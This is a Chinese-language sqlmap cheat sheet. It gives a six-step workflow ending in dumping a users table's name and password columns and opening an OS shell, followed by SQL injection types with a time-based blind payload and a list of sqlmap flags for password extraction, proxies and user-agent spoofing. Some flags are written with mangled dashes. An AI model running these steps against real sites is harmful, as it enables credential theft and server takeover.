1、经典用法介绍(经典六步法)
第一步: -u "http://www.example.com" --cookie="abc" //带上cookie对url进行注入探测
第二步:-u "http://www.example.com" --cookie="abc" -current-db //对数据库名进行获取
第三步:-u "http://www.example.com" --cookie="abc" -D xyz --tables // 对数据库xyz的表名进行枚举
第四步:-u "http://www.example.com" --cookie="abc" -D xyz -T users --columns //对数据库xyz里面的名为users表的列名进行枚举
第五步:-u "http://www.example.com" --cookie="abc" -D xyz -T users -C name,password --dump //探测user表name和password字段
第六步:-u "http://www.example.com" --cookie="abc" --os -shell //获取shell,选择后台语言
2、注入模式
1、基于时间的盲注:1` and sleep(x) --//延时的时间减去正常的时间大于x
2、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。
3、sqlmap详细命令:
–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
4、Request(请求):
这些选项可以用来指定如何连接到目标URL。
–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
更多详细内容可参考:http://www.vuln.cn/1992